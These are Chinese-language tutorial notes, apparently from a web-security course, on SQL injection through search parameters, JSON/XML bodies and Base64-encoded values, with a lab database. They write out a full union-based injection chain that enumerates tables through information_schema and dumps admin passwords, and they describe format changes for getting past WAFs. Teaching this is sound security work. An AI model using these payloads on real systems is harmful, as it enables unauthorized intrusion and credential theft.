演示案例:
➢ WEB攻防-SQL注入-参数类型&符号干扰
➢ WEB攻防-SQL注入-参数格式&参数编码
案例说明:
在应用中,存在参数值为数字,字符时,符号的介入,另外搜索功能通配符的再次介入,另外传输数据可由最基本的对应赋值传递改为更加智能的XML或JSON格式传递,部分保证更安全的情况还会采用编码或加密形式传递数据,给于安全测试过程中更大的挑战和难度。
#数字,字符,搜索
例:
select * from news where id=$id;
select * from news where name=‘$name’;
select * from news where name like‘%name%’;
符号干扰:有无单引号或双引号及通配符等
案例讲解
这里小迪演示案例就是一个网站有一个搜索框,这个搜索框的后端sql逻辑就是select * from news where name like'%name%';
1、select * from news where name like'%name%' order by 3 这个是判断有多少个字段,因为后面要用union联合注入,必须知道前面select的字段个数,后面select的字段数量也得一样
2、select * from news where name like'%1%' union select 1,2,3#%';这里就是使用union联合注入,判断回显位
3、知道数据库名:在回显位写database() 数据库名:news_db
4、获取数据库名下的表名信息:
借助自带的information_schema.tables表(记录所有数据库名下的表名)
select * from news where name like'%1%' union select 1,2,table_name from information_schema.tables where table_schema='news_db'#
5、admin下列名
借助自带的information_schema.columns表(记录所有数据库名下的表名对应的列名信息)
select * from news where name like'%1%'unionselect1,2,column_name from information_schema.columns where table_schema='news_db' and table_name='admin'#
6、查admin的密码:select * from news where name like'%1%' union select 1,2,password from admin#
案例数据库架构:
news_db
admin
username,password
#XML,JSON,编码,混合
这种格式都是在post请求包的请求体中,案例和上面一样,就是我们注入攻击语句写在键值的位置
XML:
JSON:
{
“news:”[
{
“id”: 1,
“title”: “xiaodi”,
“content”: “i am xiaodi”,
“created_at”: “2025-03-07”
},
{
“id”: 2,
“title”: “xiaodisec”,
“content”: “i am xiaodisec”,
“created_at”: “2025-03-06”
}
]
}
数据加密/编码的情况下,我们的payload也必须加密,要不然后端看不懂
Base64:
{
“news”: [
{
“id”: “MQ==”,
“title”: “eGlhb2Rp”,
“content”: “aSBhbSB4aWFvZGk=”,
“created_at”: “MjAyNS0wMy0wNw==”
},
{
“id”: “Mg==”,
“title”: “eGlhb2Rpc2Vj”,
“content”: “aSBhbSB4aWFvZGlzZWM=”,
“created_at”: “MjAyNS0wMy0wNg==”
}
]
}
我们在挖洞过程中可以改变格式来绕过:
- 请求头和请求体格式必须匹配,数据包才合法。
- 后端代码要有对应解析逻辑,payload 才能传入漏洞点。
- WAF 不能解析该格式,才可以实现绕过。
1、数据传输采用XML或JSON格式传递
2、数据传输采用编码或加密形式传递
3、数据传递采用JSON又采用编码传递
#实例应用:
1、JSON注入案例:
SRC报告-众测下的SQL注入挖掘
SRC报告-edu-SQL注入案例分享
SRC报告-河南省xxxx某站存在SQL注入漏洞
这几个都是很简单的案例我就不放出来了,主要是懒得截图了
2、编码注入案例:
互联网搜下对应说明